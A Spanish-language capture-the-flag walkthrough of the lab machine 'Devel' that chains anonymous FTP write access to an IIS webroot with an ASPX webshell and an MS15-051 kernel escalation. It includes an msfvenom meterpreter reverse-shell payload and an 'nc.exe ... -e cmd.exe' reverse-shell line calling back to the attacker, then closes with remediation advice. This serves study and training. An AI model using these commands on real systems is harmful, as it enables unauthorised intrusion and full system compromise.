Entrada

Devel

IIS con FTP anónimo de escritura sobre el webroot: webshell ASPX para entrar y escalada a SYSTEM por MS15-051 en un Windows 7 sin parches.

Devel

Publicado por Jaime Hereza Niño

Publicado 02/08/2026 Actualizado 04/10/2026
4 min de lectura
Mi puntuación
54760 votos
MáquinaSODificultadIP
DevelWindowsEasy10.10.10.5

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.10.10.5 devel

Resumen

Devel es una cadena muy instructiva de Windows: un FTP anónimo que, para colmo, escribe en el mismo directorio que sirve el IIS. Subes una webshell ASPX, el servidor te la ejecuta y ya tienes un pie dentro como el usuario del pool de IIS. A partir de ahí, un Windows 7 sin parches se escala con una vulnerabilidad del kernel hasta SYSTEM.

Vulnerabilidad

FTP anónimo con escritura sobre el webroot

El servidor FTP permite login anónimo y, lo grave, su directorio raíz es el mismo que publica el IIS (C:\inetpub\wwwroot). Es decir, cualquiera puede subir ficheros a la web. Si subimos un .aspx, el IIS lo interpreta y ejecuta nuestro código con la identidad del application pool.

MS15-051 — CVE-2015-1701 (Alta · 7.0)

Es un fallo en el driver win32k.sys que permite a un proceso sin privilegios robar el token de un proceso SYSTEM. En un Windows 7 sin parchear se dispara con un binario precompilado y sube al máximo privilegio.

Reconocimiento

Escaneo completo de puertos

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess devel
PuertoServicioVersión
21ftpMicrosoft ftpd
80httpMicrosoft IIS httpd 7.5

Un FTP de Microsoft y un IIS 7.5. La combinación FTP + servidor web es sospechosa: si el FTP escribe donde el IIS lee, tenemos ejecución.

Enumeración

Pruebo el login anónimo en el FTP

┌──(jaime㉿kali)-[~]└─$ ftp devel
Name: anonymous Password: 230 User logged in. ftp> dir 03-18-17 01:06AM <DIR> aspnet_client 03-17-17 04:37PM 689 iisstart.htm 03-17-17 04:37PM 184946 welcome.png

Ahí están iisstart.htm y welcome.png: son exactamente los ficheros que sirve el IIS por defecto. Confirmado, el FTP escribe en el webroot. Subiendo un ASPX y pidiéndolo por el navegador, se ejecuta.

Explotación

Paso 1 — generar la webshell. Creo una reverse shell en ASPX con msfvenom

┌──(jaime㉿kali)-[~]└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f aspx -o shell.aspx

Paso 2 — subirla por FTP en modo binario

┌──(jaime㉿kali)-[~]└─$ ftp devel
ftp> binary ftp> put shell.aspx

Paso 3 — disparar. Me pongo en escucha y pido la shell desde el navegador (http://devel/shell.aspx). El IIS la ejecuta y devuelve la sesión como el usuario del pool

C:\windows\system32\inetsrv> whoami iis apppool\web

Escalada de privilegios

Soy un usuario muy limitado, así que toca post-explotación.

Paso 1 — nivel de parches. Saco la info del sistema

C:\> systeminfo OS: Microsoft Windows 7 Enterprise — Hotfix(s): N/A

Un Windows 7 sin ningún hotfix: terreno abonado para un exploit de kernel.

Paso 2 — elegir el exploit. Paso el systeminfo por un suggester (o Sherlock en local) y me recomienda MS15-051.

Paso 3 — ejecutar. Subo el binario precompilado y lo lanzo indicándole el comando a ejecutar como SYSTEM (por ejemplo, un nc.exe de vuelta)

C:\> ms15-051x64.exe "nc.exe TU_IP 445 -e cmd.exe" C:\Windows\system32> whoami nt authority\system

Soy SYSTEM. (Con Metasploit, el atajo es local_exploit_suggester y el módulo ms15_051.)

Flags

La de usuario, en el escritorio de babis

C:\> type C:\Users\babis\Desktop\user.txt

Y la de root, en el de Administrator

C:\> type C:\Users\Administrator\Desktop\root.txt

Cómo se arregla

  • Cerrar el FTP anónimo: jamás permitir escritura anónima, y menos sobre el directorio que publica el servidor web. Separar por completo el almacenamiento FTP del webroot.
  • Restringir la ejecución en subidas: las carpetas donde se suben ficheros no deben permitir ejecutar scripts del servidor (ASPX, etc.).
  • Aplicar MS15-051 y parchear: mantener Windows Update al día elimina la escalada por el kernel.
  • Menor privilegio: aislar el application pool y limitar lo que puede hacer la cuenta de IIS.

Conclusiones

Devel enseña dos clásicos encadenados: una mala configuración (FTP anónimo escribiendo en el webroot) que da el acceso inicial, y una falta de parches que regala la escalada.

El flujo systeminfo → suggester → exploit de kernel es oro en Windows antiguos: cuando ves Hotfix(s): N/A, la escalada suele estar a un binario de distancia.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.